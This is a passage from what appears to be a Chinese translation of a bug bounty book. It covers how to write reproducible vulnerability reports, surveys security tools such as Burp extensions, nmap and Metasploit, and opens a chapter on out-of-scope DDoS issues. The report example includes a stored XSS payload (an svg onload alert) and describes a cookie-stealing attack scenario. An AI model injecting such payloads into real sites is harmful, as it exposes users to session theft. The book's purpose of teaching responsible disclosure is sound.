本节将提供文本中的所有必要报告示例。除非你想阅读进一步阅读部分的部分材料，否则甚至不需要浏览器。

重现漏洞——如何审核你的提交

如果内部安全团队无法通过重现你的 PoC 来验证你的发现，就很难获得奖励。你可能伪造或模拟了发现，或是在某个已修补的边缘条件下创建了它，这些情况并不代表重大威胁。

确保你的漏洞是可重现的最简单方法是，从一开始就自己亲自练习重现它。如果是手动发现的漏洞或像 Burp Intruder 这样的半自动化工具，你能可靠地重现它吗（如果存在竞争条件，可能需要尝试几次才能获得正确的样本大小）；如果是通过扫描器严格控制的漏洞应用，你能手动重现它吗？仅仅再次运行扫描并看到相同的结果是不够的，如果你不能手动重现自动化漏洞，它会被视为无效提交。

编写一系列可重现的操作步骤很容易，只要你强调正确的内容。你应该注意：

使用清晰的编号步骤。
为每个步骤添加简洁的描述和应用程序状态截图。
注意应用内的副作用，即使它们是功能性问题而非直接可利用的（例如，用户信息弹窗立即打开并关闭），因为它们可能会提示回应开发者你没有察觉到的问题，并告知他们自己走在正确的轨道上。
包括细微的区分（点击提交按钮与高亮提交按钮并按回车键）以尽可能提供有用的上下文，而不至于过度。一个好的问题是：你是否在将模糊的描述改写为尽可能具体的内容（好），还是在打字时胡乱堆砌术语和信息，试图把每个信息点都扔到墙上，看哪些能粘住（不好）？
除了可重复性操作流程本身的描述质量外，提供关于你的环境的（有用的）上下文也非常重要，这些上下文可能比方法论部分更深入。例如，在方法论部分，你可能会说我导航到X页面并将Y输入框填入Z值，然后使用某某工具。一些额外的、有用的上下文信息可能包括你的浏览器类型、版本，以及任何适用的扩展或配置，这些可能使其与其他环境有所区别。不必要的上下文可能是，你的系统上还安装了一个与任何测试结果完全无关的游戏。
了解你的受众。这个建议与我们讨论的正确区分和添加适当技术细节的内容重叠并有所延伸。当你联系一个内部安全团队时，回应者将取决于组织的规模。在一个小型创业公司，你可能会得到一个开发者（甚至是技术创始人）来回应你的报告。在一个更大、更多企业化的公司中，会有专门的安全工程师，甚至可能有一个正式的网络运维中心（NOC），它本质上是任何网络/数据中心的神经中枢。这意味着，虽然你不能依赖于你的报告被安全专家阅读，但最终你的报告会被传递给负责编写补丁的人，而且它应该包含他们开始调试所需的技术细节。这意味着，如果有一个描述性的错误堆栈追踪，例如——尽管它不会给你带来奖励——你仍然可以通过将其包括在内，帮助贡献的开发者更轻松地解决问题。

这些建议虽然简单，但如果付诸实践，将会提高你提交报告的质量。

让我们看一个示例报告，假设在本节的上下文中，我们正在编写一个我们在一个流行的链接聚合论坛（比如 Reddit 或 Hacker News）评论区发现的持久性 XSS 漏洞。假设我们已经填写了漏洞的基本统计信息（将在我们的关键信息部分中介绍），并添加了任何适当的上下文信息（在这种情况下，XSS Payload 将会有用），现在我们准备编写重现该问题的步骤。我在斜体中添加了一些简短的注释，以便您区分我的评论和示例报告文本：

导航到某个帖子页面（www.somesite.com/the/location/of/the/vulnerable/thread.html）并点击“添加评论”按钮。包括一个特定的 URL 位置是关键——即使您已经在报告的其他部分添加了该数据。具体描述您在 UI 中执行的操作（点击“添加评论”按钮）虽然看起来比提交表单这样的描述显得冗长，但仍然非常有用。
在弹出的textarea输入框模态中，输入以下恶意 XSS 代码片段。然后，点击提交按钮：

<svg/onload=alert(document.location.origin)>

确保在每次更改应用程序状态时都描述用户体验。引用您正在测试的攻击面中直接涉及的前端组件，将帮助开发人员/工程师重现整个输入链，从前端提交到（在这种情况下，失败的）后端验证。

当代码成功提交后，您应该会被重定向回您添加评论的帖子页面。您应该能看到脚本已执行，alert() 弹出漏洞的 URL 位置。

使用document.location.origin可以向接收我们提交的团队证明 XSS 脚本正在一个活跃的、非沙箱化的生产实例上执行，且可能会影响实时用户数据。我们还附上了一张显示漏洞实际执行的截图。如果您想为每个单独的步骤附上截图，那也很好，这可以揭示出可能对应用开发者有兴趣的标记文档痕迹，但最关键的状态是捕获漏洞的 PoC 执行。

关键信息 – 您的报告需要哪些内容

尽管报告信息会根据漏洞的类型有所不同（您可能会遇到已编码但可解码的敏感信息，这意味着您无法提交任何 Payload 信息），但总有一组通用的字段是您需要填写的：

漏洞的位置（URL）
漏洞类型
何时发现该漏洞
如何发现该漏洞（自动化/手动，工具）
如何重现该漏洞
如何利用这个漏洞

本书中我们已经展示了各个领域的例子，但其中有两个特别值得一提。位置 URL 很明确，类型、时间、方法以及所有直接信息也都很清晰，但确保报告中的漏洞可以重现，并且有一个令人信服的攻击场景，详细描述它造成的可怕后果，且漏洞未被修复，将是确保你的漏洞获得奖励并获取最高可能奖金的关键。

除了必要的信息、完整的重现路径和有说服力的攻击场景外，你还可以包括一些额外的数据，其中有些是特定于漏洞的，有些则是可选的但能提供启发性的信息。

如果你报告的漏洞包含有效载荷，那是很重要的。包括指向 OWASP、NIST 和其他受尊敬的安全组织参考页面的链接，也是清晰传达漏洞性质和类型的有效方式 —— 例如，直接引用 OWASP 页面来描述某种 XSS 类型（www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001))，立刻显示你对漏洞的性质非常熟悉，理解其基本原理。如果你写的是由已知组件漏洞导致的攻击场景，确保你包含其 CVE ID 以及漏洞页面的链接。

你的攻击可能会使某些平面文件变得可访问，或者它们可能作为漏洞的证据被包含在内（例如，也许你在服务器上发现了一个包含真实凭证值的旧配置文件，并希望将其作为提交的一部分）。尽管你可以将文件作为证据发送，但请考虑你应该仅发送相对安全的文件，如 .txt、.json、.xml 或其他常见的数据类型。没有哪个安全团队愿意冒着意外执行 .exe 或其他潜在恶意软件的风险。如果可能，尽量只包含文件中相关的部分。

最大化你的奖励 —— 那些能带来报酬的特点

如果你想了解某个漏洞可能带来的奖励，查看你参与的赏金页面以及 Bugcrowd 创建的漏洞评级系统 漏洞评级分类法（VRT）是很有帮助的。VRT (bugcrowd.com/vulnerability-rating-taxonomy) 试图以一种系统化的方式评估漏洞的严重性，从而为研究人员、开发者和管理者提供一个共同的参考框架。VRT 还与另一个共同威胁度量系统兼容，即 通用漏洞评分系统（CVSS）——VRT 可用于计算 CVSS。理解 VRT 有助于你将精力集中在那些能为你带来最大价值的漏洞上。

撰写一个能为漏洞严重性提供适当补偿的赏金报告，要求你能让审查你提交的安全团队重现你的攻击，同时——同样重要的是——你需要写一个有说服力的攻击场景。要写出一个有说服力的攻击场景，你需要具备以下几点：

具体性：你的攻击场景应该考虑到具体种类的漏洞和利用方式，并且如果可能的话，提到一个具体的部分，而不是泛指类型（例如用户名，而不是 auth 数据——除非这是你收集的多个信息的最佳描述）。始终标明应用程序的版本，包含你能够访问的任何元数据等。
现实的严重性：你的漏洞可能不会导致每个托管区域崩溃，或者使公司的基础设施瘫痪，但它会给员工、客户、投资者以及任何被波及的人员带来严重风险。你应该能够定义一个现实的攻击场景（它不能耗费过多资源或无限时间），但应该会导致不可接受的数据丢失、数据窃取、性能下降或基本功能丧失，因为这些都属于明显的危机。
正确术语：使用正确的术语（技术词汇、缩写、适用的比喻）可以确保审查你提交的安全团队相信你的攻击场景是可信的，因为你本身是可信的。你不希望因为以笨拙、混乱或误导的方式描述可能是合法发现的内容，而错失奖励机会。能够利用诸如 远程代码执行（RCE）和 PoC 等常见术语至关重要。
文档：这是报告！（对吧？）其他部分是相关的考虑因素，但你能附上更多关于场景本身的信息会更好。这可能意味着截图、文件或在发现过程中副作用生成的产物，甚至是某些数据——虽然还没有达到主动利用的路径，但能证明，例如，你可以打印出敏感的 cookie 信息，而不实际泄露或滥用这些信息。

牢记这些原则，让我们来看一个写得不太好的报告示例，并将其与一个更强的尝试进行对比，假设我们正在提交关于之前讨论的相同漏洞——持久性 XSS（跨站脚本攻击）——的报告，该漏洞在一个热门在线论坛的评论区被发现。

弱点：利用这个漏洞，某人可以通过在一个热门讨论串中插入恶意脚本来攻击网站的用户社区。
更强的：攻击者可以通过在一个热门讨论串的评论中插入恶意 JavaScript 代码片段来利用持久性 XSS 漏洞，这段代码可能通过将管理员账户的 cookies 发送到监听服务器来窃取这些 cookies。

注意，第二个、更强的攻击场景仍然简洁——保持场景详细但简洁是很重要的。它使用了具体的术语而不是笼统的词汇（JavaScript，而不是脚本；评论中的热门讨论串，而不是热门讨论串中的评论；管理员账户 cookies，而不是其他不具体的说法），并列出了一个可能的风险（窃取管理员账户 cookies），这个风险远比简单的关于恶意脚本的模糊描述要具体，代表了一个具体且有害的场景。这个场景也符合漏洞的严重性：XSS 不会像某些科幻超级蠕虫那样摧毁全球金融系统，但它可以对个体用户造成很大伤害。

示例提交报告——查看地点

我们为每个讨论过的漏洞写了一个示例报告，并在本章中使用了一些例子来说明某些要点。希望这为你提供了关于报告所需内容和写作方法的坚实基础。

学习做任何事情的最佳方法之一是将你的实践建立在其他成功研究人员的经验上，并看到他们的专业技能在实际中的运用，而不是单纯地接受它作为传承下来的智慧。阅读足够多的成功报告（那些已经获得奖励的报告），你会开始看到其中的共同主题，以及支撑这些研究者成功职业生涯的实践方法。以下是一些资源，展示了这些经过实战检验的报告，它们为作者赢得了声誉和奖项。

Hackerone Hacktivity

Hackerone 的 Hacktivity 部分(hackerone.com/hacktivity)是一个漏洞报告提交的档案库，采用类似 Reddit 的投票系统，社区可以对特别有趣的报告进行点赞，从而将其展示在该部分的首页：

由于报告只有在赏金计划经理同意后才会公开，你可以看到许多报告是灰色显示的。但那些可见的报告不仅展示了参与公司在安全文化方面的情况，还提供了成功研究人员日常渗透测试的过程。

漏洞实验室档案

我们首先讨论了漏洞实验室，类似于 Hackerone，在优秀漏洞悬赏研究员社区中的作用。除了是发现新漏洞悬赏计划的绝佳来源外，漏洞实验室还维护着一个档案（www.vulnerability-lab.com/），其中包含了所有在其平台上提交的漏洞报告（这些计划的所有者也同意公开披露这些漏洞）：

漏洞实验室档案的一个最有价值的元素是，每份报告按类型组织——无论是 Web 应用、移动应用还是一般的供应商漏洞——使你能够轻松地深入了解与你的实践最相关的报告。

GitHub

GitHub 的漏洞悬赏页面（bounty.github.com/）不仅展示了所有参与其计划的安全研究人员的排行榜，显示了贡献者的用户名、个人资料图片和 Twitter 用户名，还提供了一些关于他们发现的漏洞的基本信息——漏洞的类别、子类别，以及一个简要的解释段落，说明漏洞是在哪里发现的以及其影响的服务：

尽管这些报告很有价值，但它们没有提供前两组漏洞报告通常会展示的技术细节（如代码片段、截图和相关文件附件）。

摘要

本章讨论了编写漏洞报告提交的细节，我们可能在攻击章节中略过了这些内容，解释了每份报告应包含的关键信息、可选信息、包含详细重现步骤的重要性、如何编写好的攻击场景（包括示例）、哪里可以找到实际的生产漏洞报告提交等内容。基于我们在漏洞演练章节中创建的示例提交报告，并结合更多关于什么样的报告值得获得奖励的高层讨论，本章将为你提供前进所需的一切，帮助你编写高质量的报告，从而为你发现的漏洞赢得最大奖励。

在下一章中，我们将讨论一些超出我们直接使用的工具和方法。

问题

RCE 代表什么？
在报告中，关于你的发现，什么样的背景信息是有用的？
每份报告中应该包含哪些数据的几个例子？
什么是漏洞评级分类法（VRT）？CVSS 又是什么？
为什么确保漏洞是可重现的很重要？
什么区分了一篇写得好的攻击场景与一篇平淡无奇的攻击场景？
有哪些好的资源可以用来查找实际漏洞报告提交的例子？
在你的漏洞报告中，哪些类型的文件附件值得包括？

深入阅读

你可以在以下链接中找到更多我们在本章讨论的主题：

GitHub 漏洞赏金常见问题: bounty.github.com/index.html#faqs.
漏洞提交方法: www.bugcrowd.com/writing-successful-bug-submissions-bug-bounty-hunter-methodology/

第十一章：其他工具

本书中，我们介绍的工具和工作流程都是根据效率、成本、专业意见和个人偏好综合选择的。但在我们讨论的简短列表之外，仍然有许多安全工具可以利用。

本章将讲解如何评估是否采用新工具，同时提供其他有用的 Curate 软件、网站、社区和教育资源的简单概述。我们将涵盖从程序（如扫描仪和 Burp 扩展）到众包攻击代码片段数据库（如 SecLists）的各类内容。

本章将涉及以下主题：

评估新工具
付费版与免费版
Nikto、Kali、Burp 扩展等工具的简要概述

技术要求

本章包含了一些技术依赖，具体取决于你希望将哪些工具融入到工作流程中。我们大多数的命令行程序可以通过homebrew包管理器轻松安装；Burp Suite 仍然需要安装 Java 8；当然，Kali Linux 发行版在栈的不同层次上运行，因为操作系统需要一个硬盘分区来进行安装。像往常一样，我们将使用 Chrome（66.0.3359.139）。

评估新工具 – 该关注哪些方面

在你审视一款新的渗透测试软件时，分析它为你的工作流程带来的价值是至关重要的。同样重要的是，问自己一些和使用开源、SaaS 或其他付费应用时类似的问题。这些问题应包括以下内容：

这款工具为我的工作流程增添了哪些我原本不具备的功能？
这些新功能有多重要？我预计它们的影响如何？
它是否将我锁定在某些计划、服务或特定设计中？
它有成熟的命令行界面（CLI）吗？
在已知的正向案例中，它的表现如何（对于扫描器和其他检测软件而言）？
如果是开源工具，项目已有多久？最后一次提交是什么时候，提交的频率如何？是否存在很多未解决的问题？问题是否得到了处理？
对于免费工具，是否为免费/社区用户提供了足够的功能？还是大部分所需的功能都被锁定在付费许可或订阅背后？
在付费工具的情况下，它是否与外部工作流程集成（例如，传入和传出的 webhooks、几种语言的客户端库或 RESTful 接口）？还是将你锁定在它的系统内？

这些问题中有些没有明确的答案，但思考它们会帮助你了解你正在考虑采用的任何软件的价值主张。

付费版与免费版 – 什么让一款工具值得使用？

是否开始为某款安全工具付费，仅仅是决定是否采用它过程的延伸，区别在于更多地关注其相对影响。

Burp Suite Pro 无疑是社区版的有用扩展。你可以使用扫描器，它与 Burp 的范围和攻击面映射功能紧密集成，还有一些高级手动工具，例如能够从拦截的 HTTP 请求中生成 CSRF（我们将在本章后面讨论），以及其他一些额外功能。

但是，正如我们在 CSRF 章节中展示的，生成 CSRF PoC 其实很容易自己自动化，且这样做能更好地与 Burp 以外的工具集成。如果你不需要其他高级手动工具，那么基本上就只剩下扫描器这一点了。即使你已经在工作流程中使用了扫描器，实际上不同的扫描器在扫描不同的漏洞时效果更好——你会通过对一个网站使用多个扫描器来得到最全面的安全评估（不过，考虑到扫描器的费用，实施起来并不像说得那么容易）。

Burp 的价值组件还增加了一层额外的内容。虽然你不应该仅仅因为某个工具性价比高就购买它，但这是一个重要的考虑因素。

扫描器很贵。顶级应用扫描产品的最便宜许可证，通常会达到几千美元，即使是一个小团队也难以承受（例如 Netsparker 这家安全公司最便宜的产品，每年不到$5,000，适用于一个桌面应用，允许扫描五个网站）。

这显然是他们试图吸引企业安全团队的举措，目标是那些需要可复现、自动化漏洞检测方案作为其整体应用管道/栈一部分的团队。但这种现象在许多渗透测试工具链中都很常见，因为拥有专业技术的公司希望针对 B2B 企业机会，这里有更多的盈利空间。而黑客则没有部门预算可以随便花。

在这种背景下，Burp Pro 许可证是一个极具性价比的选择，以低于其他流行产品一个月许可证订阅费用的价格，解锁了不仅仅是扫描功能。如果你跟着本教程走，或者通常把 Burp 作为你的安全工作流程中的关键工具，你应该考虑购买。如果你经常使用 Burp，那是值得的。

让我们考虑另一款工具，SecApps。SecApps 是由 Websecurify 创建的基于浏览器的渗透测试客户端，允许完全基于云的工作流，不需要桌面应用程序、本地文件或浏览器之外的依赖。这是一个非常适合放入 Chromebook 类型设备中的解决方案，其硬件需求最低。SecApps 有很多值得推荐的地方：尽管他们提供一些基础免费的服务（如 HTTP 代理），但大部分功能都在他们的付费版本中（需要注意的是，除了浏览器客户端外，他们还提供 CI/CD 测试的解决方案），其价格依然相对便宜，月费为 29 美元。但即便是这个低廉的使用成本，我们仍然需要考虑在考虑任何新工作流时要面对的相同问题：

这是否将我锁定在某些计划、服务或特定设计中？

是的。转向全云工作流会剥夺你对环境的控制权。因为你的数据全部存储在云端（从技术角度看），你无法控制它。此外，考虑到所有的集成、工具间的相互作用等，都发生在你无法依赖访问的堆栈不透明层次上，因此没有任何工作流可以迁移到其他系统。

在付费工具的情况下，它是否与外部工作流集成（例如传入和传出的 webhooks，或者多种语言的客户端库或 RESTful 接口）？还是将你锁定在其系统中？

这是与关于供应商锁定的普遍问题相关的类似问题。前一个问题更多地涉及你整体设计的兼容性，以及该通用工作流（和架构）是否可移植。这个问题更多的是关于边缘集成。你现有工作流的部分内容是否可以被整合进来？如果新工具对所有内容都很合适，但X无法使用，你是否仍然可以以某种方式将其纳入？通过一种通用数据格式（如 JSON、YAML 或 XML）或程序化 API 接口，你是否能够扩展该服务的功能？

对于 SecApps 的答案似乎是某种程度上的肯定。对于更多 CI/CD 解决方案，提供了一些基本的 CLI 选项，例如他们的 Cohesion 应用程序，基本上是一个源代码分析工具，DevOps 工程师可以将其嵌入到构建链中。但没有关于使用 API 与浏览器工具连接的相同后端服务进行交互的文档。

有一个名为 pown apps 的本地应用包装器，由 Pown.js 创建，但文档非常简略，CLI 选项也有限（见“它是否有成熟的 CLI？”），当我们浏览到 Pown.js 的代码库时，并没有看到能激发信心的内容。许多代码库是新的，且没有大规模的贡献图表，问题/社区支持似乎零散（还可以参考“如果它是开源的，项目有多老？最后一次提交是什么时候，提交的频率如何？是否有很多未解决的问题？问题得到解决了吗？”）。

这对我们来说不适用。尽管该服务的承诺很吸引人，但它对我们的渗透测试流程有过于明确的要求。与 Unix 的哲学相反，Unix 强调小而专注的单一功能组件，并共享 Unicode 作为通用语言，而 SecApps 让我们安装并使用大型复杂的应用程序（通过网页或通过 pown apps 桥接本地使用），这些我们无法查看，也无法控制。

其他拥有不同渗透测试流程的用户自然会对这些工具以及其他工具有不同的看法，但希望通过我们在本书中的工具分析，能够展示出关键决策点和一般流程。

其他选项的快速概览——Nikto、Kali、Burp 扩展等

安全领域有如此多的工具，可能很难知道哪些工具值得为你的工作流进行测试。本节包含了不同类型工具的简短描述，按它们在渗透测试中的作用进行分类。

扫描器

有许多专门用于收集或测试各种漏洞相关信息的扫描器选择。我们在本书中使用的几个仅代表市场的一个小部分。以下是一些选项；有的仅支持命令行，而有的则同时提供 CLI 和 GUI，尽管所有工具至少都提供某种程度的 CLI 控制，并且都是免费的。

Nikto

Nikto 是一款知名的扫描器，以其服务器指纹识别能力著称。除此之外，它通常是扫描 OWASP Top 10 漏洞的一个不错选择。

Zed Attack Proxy

Zed Attack Proxy (ZAP) 是一个由 OWASP（一个专注于 Web 应用漏洞研究的非盈利组织）创建的代理和扫描工具。ZAP 经常被视为 Burp Suite Pro 版本中包含的扫描器的免费替代品。

w3af

w3af 是一款开源、基于 Python 的扫描器，既有交互式 CLI shell 也有图形界面（GUI）仪表板。w3af 最初由 Andres Riancho 于 2006 年构思，随后几年吸引了来自全球的成千上万的公众贡献者。

nmap 和 python-nmap

本书的大部分内容都围绕着在其基于浏览器的攻击面——如表单字段、未加固的端点以及通常可以在浏览器或浏览器扩展中看到的内容——进行 Web 应用测试。

如果你希望进行更多的网络分析——检查开放端口、探测防火墙，并寻找超出标准 HTTP/TCP 连接的内容——nmap 是一个流行的选择，也是行业标准工具。

python-nmap 就是它的名字所示——一个基于 Python 的软件移植。如果你想要在 nmap 上进行黑客攻击，它非常有用。无论你是为现有的 nmap 端口发现功能添加检查，还是在其上加入自定义警报逻辑，python-nmap 包都是一个很好的起点，它能让你免于重新实现 nmap 标准功能的基础特性。

Aircrack-ng

Aircrack-ng 是另一个网络扫描工具，几乎已经成为 Wi-Fi 破解和数据包捕获的标准。尽管如此，尽管我们在本书中并未过多涵盖一般的网络分析，但对于任何希望入门的人来说，有一套很棒的工具。

更重要的是，不像社会工程那样，它是渗透测试的一个元素，我们专门没有涵盖这一部分，因为它对于大多数程序来说常常是越界的，公司会奖励研究人员指出其网络中的漏洞。

Wireshark

继续讨论网络扫描工具，Wireshark 是另一个经过战斗测试的网络分析程序，具有深度数据包检查和其他低级数据捕获功能，对于理解应用程序的加密安全态势至关重要。如果你更重视网络层级的安全问题，Wireshark 应该在你的雷达上，甚至成为你工具集的一部分。

SpiderFoot

SpiderFoot (www.spiderfoot.net/) 是一个专门从事 开源情报 (OSINT) 的扫描器，它通过社交媒体网络、DNS 记录和其他公开信息来汇总目标应用程序的攻击面和可能的漏洞。

尽管不可否认地有用，但在本书中，我选择更多地关注与应用程序特性直接交互的扫描器。SpiderFoot 是进行深入研究的好工具，适用于准备社会工程攻击时的工作，比如获取电子邮件和职位头衔，了解公司关键人物之间的关系。它对于寻找相关的、依赖的系统也是很有用的，这些系统可能会被入侵，进而渗透组织。

幸运的是（或者不幸的是），这些类型的攻击对于大多数渗透测试任务来说并不在范围之内。社会工程攻击和攻击供应商/第三方几乎总是在测试指南的行为规则中被列为禁止行为。这是一个很酷的扫描器和有用的工具，只是它不适用于我们的目的。

资源

这些是一般的教育内容来源；聚合的教程、代码片段和操作指南，富含洞察。

FuzzDB

FuzzDB (github.com/fuzzdb-project/fuzzdb) 是一个由开源安全社区贡献的攻击模式字典。与经过精心整理的集合，如 SecLists 一起，它是获取 XSS 输入等内容的一个重要资源。

渗透测试备忘单

JDow.io（jdow.io）提供了一个方便的资源，名为 Web 应用渗透测试备忘单，它详细介绍了渗透测试过程中许多步骤，包含代码片段和每个步骤的实现说明。

Exploit DB

Exploit DB（www.exploit-db.com/）自称为漏洞、shellcode 和安全论文的终极档案库（他们强调）。它由 Offensive Security 组织运营，该组织还负责其中一个更为著名的安全认证——Offensive Security Certified Professional（OSCP）认证。Exploit DB 还包含一个方便的 Google Dorks 数据库，我们将在后续关于 SQL 注入的章节中进一步探讨。

Awesome Web Security

awesomelists.top 品牌发布了针对各种技术领域的精心策划内容（他们自然也有自己的 AWS 系列）。他们的安全列表，awesome web security（github.com/qazbnm456/awesome-web-security），是一个很好的资源，甚至链接到其他相关的精心策划仓库，例如该组织自己的 awesome-bug-bounty 漏洞悬赏资源集。它还包含许多关于浏览器扩展数据泄漏、物联网漏洞扫描以及数据科学和机器学习如何与安全交叉等主题的精彩文章和教程。

Kali Linux

Kali（前身为 BackTrack）是一个专注于安全的 Linux 发行版，预装了我们在本书中使用过的许多工具，例如 Burp Suite，还包括其他工具，如 Maltego、Metasploit 和 Wireshark。

由于你可以从 live CD 启动并运行 Kali，它可能非常轻量。无需在硬件上进行持久安装，也无需将数据写入磁盘。Kali 的这两个特性（便携性和预装资产）使它成为渗透测试人员的理想选择，特别是对于那些可能无法经常访问自己机器的人。

源代码分析（白盒）工具

源代码分析通常不在公开漏洞悬赏计划的范围内（这也是为什么这本书中没有更多涉及它的原因）。如果开源不是公司业务模式的一部分，企业自然会对将其代码开放给一群安全研究人员感到犹豫。

但是，如果你身处一个私人合同中，进行白盒测试并访问源代码，或者通过 GitHub 或 Bitbucket 访问代码，那么你可以使用几种工具来帮助识别问题区域。

Pytaint

Pytaint 是一款工具，允许你对 Python 代码进行污点分析。这意味着追踪数据在应用程序中的流动，从输入字段、API 端点和其他入口管道的入口点开始，寻找数据被错误处理或未适当清理的区域。

Bandit

Bandit 是另一个优秀的源代码分析工具，使用一系列可定制的插件分析 Python，插件可以帮助工具聚焦于特定的漏洞集。与 pytaint 不同，Bandit 不遵循像污点分析这样的特定方法论；相反，应用的逻辑取决于你的插件集成。

Brakeman

Brakeman（brakemanscanner.org/）被认为是 Rails 应用程序最顶级的安全静态分析工具之一，被 GitHub 等行业领袖用来保护他们内部的 RoR 栈。如果你能够访问源代码，Brakeman 是发现 Rails 问题的极好工具。

Burp

我们在本书中介绍的 Burp Suite 工作流有许多扩展的方法。一些额外的解决方案将是付费功能，展示考虑订阅的吸引力，而其他一些则仅仅是我们没有时间在工作过程中利用的其他扩展或功能。

Burp 扩展

有许多很棒的 Burp 扩展可以帮助你构建基于 Burp 的工作流，并更好地利用 Burp 的原生功能。

JSON 美化工具

一个简单的插件，JSON 美化工具可以将你在 Burp Suite 中处理的任何 JSON 格式化得更加美观。它虽然简单，但在你的工作流程中，如果有很多手动交互的部分，格式化可能会显著提升生产力。对于其他语言，也有类似的美化工具/格式化工具，包括 YML、JS、SAML 等常见的数据类型。

Retire.js

记得我们在第三章《准备参与》中，围绕 Retire.js 构建了一小组脚本来检查客户端 JavaScript 中的漏洞，准备参与。实际上也有一个 Burp 扩展可以让你在 Burp 测试会话中直接执行相同的操作。如果 Burp 是你工作流中的一个重要部分，值得考虑这个扩展。

Python Scripter

Python 脚本扩展在每个 Burp HTTP 请求上执行 Python 代码。这使得添加额外功能比直接尝试添加 Java 代码或自己编写扩展更为简单。

Burp Notes

考虑到文档在撰写优秀提交报告中的重要性，像 Burp Notes 这样的工具可以配置为保存 HTTP 请求和来自不同 Burp 工具的其他数据，从而优化你的工作流，消除手动复制和粘贴的操作。

Burp REST API

Burp REST API 插件（github.com/vmware/burp-rest-api）允许你在一个包装器内运行 Burp 实例，使其主要功能通过 RESTful API 可用。如果你想将 Burp 与现有的自动化流程集成，这无疑是一个极好的补充。

SaaS 专用扩展

前述的扩展大多只是现有 Burp 工作流的独立补充。但是，Burp 还支持作为桥梁连接其他安全工具集的扩展。Faraday（www.faradaysec.com/）自我描述为一个多用户协作渗透测试环境，安全团队可以在其中共享范围、目标数据、发现和其他参与信息。还有一些工具特定的桥接扩展，如 SQLiPy，它是一个用于从 Burp 内部启动 sqlmap 扫描的扩展。

使用 Burp Pro 生成 CSRF PoC

测试 CSRF 并生成 CSRF 漏洞的代码 PoC 的一个好方法是使用一些内置的工具。不幸的是，生成 CSRF PoC 的功能仅对 Burp Suite Pro 用户可用。

在我们的测试中，我们将重新访问在第四章中检查过的 webscantest.com 页面，未清洗的数据—一个 XSS 案例研究，该页面也容易受到 CSRF 攻击。

在导航到表单之后，让我们填写不同的字段值：

在提交表单之前，我们会开启 Burp 代理的拦截功能，以便捕获我们的请求：

在提交表单后，我们可以看到请求已被 Burp Proxy 成功拦截：

现在，如果你右键点击 Burp Proxy 中拦截的请求，你会看到下拉菜单中有一个“参与工具”子菜单。如果你是免费/社区用户，这些选项将被禁用，但如果你是付费/Pro 用户，你可以选择生成 CSRF PoC。

你可以使用这个 CSRF PoC，它实际上只是一个短小的 HTML 代码片段，反映了你正在测试的表单和提交结构，用于触发应用程序状态的变化，从而证明存在 CSRF 漏洞（也就是一个 PoC）。如果你可以使用这个功能，它可以是一个快速且简单的方法，但如果不能，也很容易替代（我们在第六章中以编程方式生成了一个 CSRF PoC，CSRF 和不安全的会话认证）。

Metasploit 和漏洞利用框架

Metasploit 是由 Rapid7 提供的流行漏洞利用框架，尽管它包含了一些常见的扫描和代理功能，但它的亮点在于漏洞发现后、编写漏洞利用代码的阶段，当漏洞被发现并且你尝试将其用作更大规模攻击的跳板时。

这就是我们没有深入介绍 Metasploit 工具的原因。因为 Metasploit 的真正价值在于将（例如）SQL 注入漏洞转化为一个攻击，利用这个漏洞暴露用户数据、改变攻击者的权限，或实现其他恶意目的，它并不属于我们的漏洞奖励工作流程，后者更关注的是漏洞本身。事实上，大多数漏洞赏金计划明确不鼓励采取下一步行动。这正是白帽研究员与黑帽黑客的区别所在。

然而，Metasploit 可以是一个非常好的工具，用于头脑风暴出一些现实的、令人不寒而栗的攻击场景，这些场景可以说服安全团队你提交的漏洞确实是一个真正的威胁。清晰且有说服力地阐明你的发现影响是通向更大回报和更高提交成功率的最直接途径。

总结

在这一章中，我们已经介绍了超出我们在操作过程中直接使用的工具和方法论。我们还讨论了评估新工具的过程，并通过一个示例将该分析应用于 Burp Suite Pro 和 SecApps，结合我们在本书中探讨的渗透测试案例。到目前为止，你已经看到不同类型扫描器（应用程序、网络和 OSINT）、攻击模式的社区数据库、源代码分析工具、新的 Burp 扩展和工作流程、利用框架的价值等内容的扩展概述。这将帮助你在本书之外拓宽视野，并为你作为安全研究人员的持续发展奠定基础。

问题

你应该如何评估新工具？
有哪些有用的 Burp 扩展？
哪些是进行端口扫描的好选项？
升级到 Burp Pro 后，你可以期待哪些新功能？
使用 Kali Linux 有哪些好处？
什么是 OSINT？
什么是 Metasploit，它有什么用途？

进一步阅读

你可以通过以下链接了解我们在本章讨论的一些话题：

SecApps: secapps.com
Pown apps: blog.websecurify.com/2018/01/pown-apps.html

第十二章：其他（超出范围）漏洞

我们已经讲解了很多关于你应该关注的内容——漏洞的结构，以及如何通过编程和手动的方式进行测试。

看似不重要的部分是你不应该关注的内容——如果你不在意它，你就会忽略它，对吧？但实际上，有几个常见的发现和误报是你会看到扫描工具、被动分析工具、扩展程序和命令行日志反复输出的。了解哪些漏洞是公司不感兴趣的，这非常有用，这样你既可以避免浪费时间提交注定失败的漏洞报告，也能在一开始就配置你的工具，减少不必要的噪音。

我们在这里讨论的大多数漏洞的共同主题是，它们没有明确的利用路径。它们要么只影响攻击者，要么需要其他（更严重的）漏洞的存在才能被利用，或者在泄露信息的情况下，攻击者没有任何可操作的信息。

本章将介绍公司通常从漏洞奖励计划中排除的漏洞，包括它们如何工作以及为什么通常不被覆盖，还有一些关于哪些漏洞不符合奖励考虑的常见主题。

技术要求

由于我们主要讨论并举例说明需要从工作流中排除的漏洞，我们只需要使用浏览器（Chrome 版本66.0.3359.139）就能完成。

DoS/DDoS – 拒绝服务问题

拒绝服务（DoS）和分布式拒绝服务（DDoS）是任何关注安全新闻的人都熟悉的网络攻击类型。通过将目标淹没在与合法访问量无差别的流量中，仍然是一种流行的方式，用于攻击或瘫痪网站，尤其是当与放大攻击结合时，攻击者通过劫持其他服务器、伪造连接服务或利用内部性能缺陷或瓶颈来实现。

2018 年，GitHub 遭遇了当时有记录以来最大的 DDoS 攻击（五天后该记录被打破），该攻击的流量饱和率达到了大约 1.3 TBps。攻击者能够实现如此高的吞吐量的一个原因是，他们依赖于控制不安全的 Memcached 数据库服务器（Memcache 是一种通用的分布式内存缓存系统），在这些服务器上，他们能够伪造一个查询包，看起来像是目标服务器请求从 memcache 服务器获取数据。然后，memcache 服务器会向目标服务器发送的数据量是伪造请求的 50,000 倍。GitHub 特别频繁成为攻击目标，这一事件只是该网站长期攻击活动中的最新一次。

如果你查看 GitHub 的漏洞奖励计划，你会注意到他们特别指出 DDoS 攻击——他们不允许这种攻击：

